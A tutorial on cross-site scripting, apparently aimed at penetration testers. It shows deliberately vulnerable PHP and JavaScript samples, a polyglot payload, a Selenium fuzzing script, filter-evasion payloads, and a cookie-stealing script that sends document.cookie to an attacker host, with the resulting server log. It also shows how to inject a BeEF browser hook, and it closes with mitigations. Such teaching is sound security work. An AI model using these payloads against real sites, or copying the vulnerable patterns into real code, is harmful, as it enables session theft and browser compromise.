Cross Site Scripting (XSS) is a common form of web application vulnerability. XSS vulnerabilities occur when malicious scripts can be injected into otherwise trusted websites. Normally the script content injected is JavaScript.
XSS vulnerabilities can be exploited to steal authentication cookies, or run malicious code in the context of a victim’s web browser.
There are three main types of XSS, Reflected, Stored and DOM Based.
Reflected
Reflected XSS occurs when a web application accepts input that is echoed back to the user. To exploit this condition, an attacker would need to craft a malicious link to send to the victim user.
For example, the following PHP code is vulnerable to reflected XSS in the id parameter, since no input filtering is being performed.
<p>Your current ID value is: <?php echo $_GET['id']; ?> </p>
Setting the ID parameter to <script>alert(“XSS!”)</script> will confirm the vulnerability by showing a pop-up notification in the browser;
For this to be exploited, an attacker would need to coerce a victim user to navigate to a URL of the website with the embedded code. I.e http://www.victimsite.com/index.php?id=<script>alert(“XSS!”)</script>
Stored
Stored XSS is similar to reflected, but the user input is stored in the web application, typically in a back end database but could occur in any type of user input such as file uploads. These attacks are generally higher severity than reflected vulnerabilities, as any user visiting the same website will end up executing the XSS payload.
The following code stores the result of a GET request in a log file.
<?php
$logfile = 'users.log';
if ($_GET['user']){
$current_user .= $_GET['user'] . "\n";
file_put_contents($logfile, $current_user);
}
echo file_get_contents($logfile);
If an attacker injects malicious code into the parameter, any user subsequently visiting the site will execute the payload.
DOM Based
The Document Object Model (DOM) allows representing a HTML document as a tree structure. By referencing the DOM, JavaScript can programmatically modify the contents of HTML code. For instance, the following JavaScript will alter the contents of the ID labelled test. The code will execute entirely client side.
<p id="test"></p>
<script> document.getElementById("test").innerHTML = "Test!"; </script>
A DOM based attack occurs when there is a cross site scripting vulnerability in client side code, which is typically JavaScript. The lang parameter in the following code is vulnerable to DOM based XSS.
<p>Current language:</p>
<script>
document.write("<p>" +
decodeURIComponent(
document.location.href.substring(
document.location.href.indexOf("lang=") + 5))
+ "</p>");
</script>
This is exploited in the same way as a reflected XSS vulnerability, however it’s worth noting since the vulnerability is triggered entirely within the browser without any traffic being sent to the server. This can make DOM based vulnerabilities very difficult to detect.
XSS Identification
XSS can be detected using automated tools, or by manually injecting strings into the application.
Manual Assessment
First, begin by using BurpSuite to send the application and a value and see if it’s reflected back in the response.
The reason a benign string rather than a XSS payload straight away is to ensure that any filtering in place won’t interfere in just identifying a reflected value. Once you have confirmed a reflected value, you can test adding additional components one by one to ensure they are not filtered by the application.
XSS vulnerabilities may exist in multiple parts of the application including;
- GET and POST requests
- File uploads
- Cookies
- Referrer headers
Once the string is injected, view the web pages source code to determine where the string is ending up.
Polygot Payloads
A polygot payload contains multiple techniques within a single string. Using Polygot payloads is useful for performing multple check in one request. For instance;
jaVasCript:/*-/*`/*\`/*'/*"/*%0D%0A%0D%0A*/(/* */oNcliCk=alert() )//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3ciframe/<iframe/oNloAd=alert()//>\x3e
If the application is filtering user supplied input, you may need to resort to some evasion techniques covered in the next section.
Automated Assessment
BurpSuite Professional can be used to identify many forms of XSS vulnerabilities. Alternativley, the application xsser can be installed in Kali to perform the same checks;
xsser -u "http://127.0.0.1:8000/index.php?id=XSS" --Fp ""
We can also use a Selenium driver in Python to instruct a web browser to send requests to a web page, and determine if a JavaScript pop-up appears.
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
from selenium.common.exceptions import NoAlertPresentException
from selenium.common.exceptions import UnexpectedAlertPresentException
from selenium.webdriver.firefox.options import Options
import time
import argparse
wordlist = "/usr/share/wordlists/seclists/Fuzzing/XSS-Fuzzing"
options = Options()
options.add_argument("-headless")
driver = webdriver.Firefox(options=options)
def makeRequest(url,xss):
target_url = url.replace('FUZZ',xss)
driver.get(target_url)
try:
alert = driver.switch_to.alert
alert.accept()
return target_url
except NoAlertPresentException:
return False
except UnexpectedAlertPresentException:
return False
except TimeoutException:
return False
except Exception as ex:
return False
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--url', type=str, required=True, help="Target URL: http://127.0.0.1?id=FUZZ")
args = parser.parse_args()
if 'FUZZ' not in args.url:
print("No fuzzing marker in URL")
quit()
with open(wordlist, "r") as a_file:
for line in a_file:
stripped_line = line.strip()
result = makeRequest(args.url,stripped_line)
if result != False:
print("XSS found: " + result)
driver.quit()
if __name__ == "__main__":
main()
Doing so will print out a list of working techniques found in the wordlist file;
python3 xss_scanner.py --url "http://127.0.0.1:8000/?id=FUZZ"
XSS found: http://127.0.0.1:8000/?id=<body onload=alert('XSS!')>
XSS found: http://127.0.0.1:8000/?id=</script><script>alert(1);</script>
XSS found: http://127.0.0.1:8000/?id=<img src=1 href=1 onerror="javascript:alert(1)"></img>
XSS found: http://127.0.0.1:8000/?id=<image src=1 href=1 onerror="javascript:alert(1)"></image>
XSS found: http://127.0.0.1:8000/?id=<object src=1 href=1 onerror="javascript:alert(1)"></object>
Filter Evasion
A developer may attempt to filter input provided by a user to attempt to prevent XSS attacks. If these filters take a blacklist approach, it may be possible to still execute code. For instance, the following code will filter out any input using the “<script>” tag;
<?php
$cookie_name = "user";
$cookie_value = "Test User";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/");
$id = str_replace( '<script>', '', $_GET[ 'id' ] );
?>
<p>Your current ID value is: <?php echo "${id}"; ?> </p>
We can easily bypass this by changing the case of the tag;
http://127.0.0.1:8000/reflected_filtered.php?id=<ScRiPt>alert(1)</script>
Another way of bypassing this filter is to add nested script tags. The str_replace will delete the inner script tag, causing the letters either side of it to form a new script tag. E.g
http://127.0.0.1:8000/reflected_filtered.php?id=<scr<script>ipt>alert(1)</script>
In our next filter example, the developer is looking for the term “script”, irrespective if there are letters between it.
<?php
$cookie_name = "user";
$cookie_value = "Test User";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/");
$id = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'id' ] );
?>
<p>Your current ID value is: <?php echo "${id}"; ?> </p>
Testing the regular expression used shows that there is no realistic way we can include the word “script” in the input;
HTML Event Handlers
To get around this, we can simply use an injection that does not rely on the script tag. HTML event handlers are a perfect way of doing this. Some event handlers, such as onmouseover require user interaction, which is not desirable. onload and onerror events are usually good candidates since they will trigger without the user having to do anything special.
<body onload=alert('XSS!')>
<img src/onerror=alert(1)>
Breaking out of HTML Tags
Whilst not strictly a filter evasion technique, sometimes you input will end up within another HTML tag. For example;
<!DOCTYPE HTML>
<html>
<head>
<style>
.error {color: #FF0000;}
</style>
</head>
<body>
<?php
$name = "";
$comment = "";
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (empty($_POST["name"])) {
$nameErr = "Name is required";
} else {
$name = $_POST["name"];
}
if (empty($_POST["comment"])) {
$comment = "";
} else {
$comment = $_POST["comment"];
}
}
?>
<h2>PHP Form</h2>
<p><span class="error">* required field</span></p>
<form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
Name: <input type="text" name="name" value="<?php echo $name;?>">
<br><br>
Comment: <br><textarea name="comment" rows="5" cols="40"><?php echo $comment;?></textarea>
<br><br>
<input type="submit" name="submit" value="Submit">
</form>
<?php
echo '<input type="hidden" id="' . $name . '" name="name" required minlength="4" maxlength="8" size="10">';
echo "<br>";
?>
</body>
</html>
If we enter our alert script (<script>alert(1)</script>)into the name field, the input will be encapsulated within the ID tag;
<input type="<a>hidden</a>" id="<script>alert(1)</script>" name="<a>name</a>" required minlength="<a>4</a>" maxlength="<a>8</a>" size="<a>10</a>"><br>
To get around this, we need to close the input tag with;
"/><script>alert(1)</script>
This will result in the tag being closed, and cause our script to run;
<input type="hidden" id=""/><script>alert(1)</script>" name="name" required minlength="4" maxlength="8" size="10"><br>
Going beyond alert(1)
JavaScript alert prompts are just used to confirm the application is susceptible to XSS vulnerabilities.
Session Hijacking
The below code has an reflected XSS vulnerability in the id parameter, and also sets a cookie.
<?php
$cookie_name = "user";
$cookie_value = "Test User";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/");
?>
<p>Your current ID value is: <?php echo $_GET['id']; ?> </p>
To steal the cookie the attacker first hosts a JavaScript, named script.js on a server they control with the following contents;
new Image().src='http://127.0.0.1:9999/index.php?c='+document.cookie
They then send the victim user a malicious link;
http://127.0.0.1:8000/cookie.php?id=<script src=http://127.0.0.1:9999/script.js></script>
The result will be the users cookie value being sent as a GET request to the attackers host;
python -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...
127.0.0.1 - - [16/May/2023 18:17:43] "GET /script.js HTTP/1.1" 200 -
127.0.0.1 - - [16/May/2023 18:17:43] "GET /index.php?c=user=Test%20User HTTP/1.1" 200 -
BeEF Hooks
BeEF is a penetration testing tool focused on targeting browsers. If you identify an XSS vulnerability, BeEF can be used to perform a number of attacks against the victims web browser. Start a BeEF server with;
sudo beef-xss
[i] GeoIP database is missing
[i] Run geoipupdate to download / update Maxmind GeoIP database
[*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]
[*] Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
● beef-xss.service - beef-xss
Loaded: loaded (/lib/systemd/system/beef-xss.service; disabled; preset: disabled)
Active: active (running) since Sun 2023-05-14 15:30:17 BST; 5s ago
Main PID: 175651 (ruby)
Tasks: 4 (limit: 7073)
Memory: 76.0M
CPU: 985ms
CGroup: /system.slice/beef-xss.service
└─175651 ruby /usr/share/beef-xss/beef
[*] Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... 4... 3... 2... 1...
Simply inject the provided BeEF hook into the target application;
<script src="http://127.0.0.1:3000/hook.js"></script>
The hooked client browser should then appear on the BeEF console, allowing you to perform further attacks against the browser;
In Conclusion
XSS is primarily caused by user controlled data supplied in application responses without correct sanitisation. There are a number of things which can be done to mitigate XSS attacks;
- Filter user input on a whitelist basis
- Implement a Content Security Policy
- Set the HttpOnly flag on cookies to prevent them being read by JavaScript
- Use the X-XSS-Protection header to instruct browsers to prevent some types of reflected XSS attacks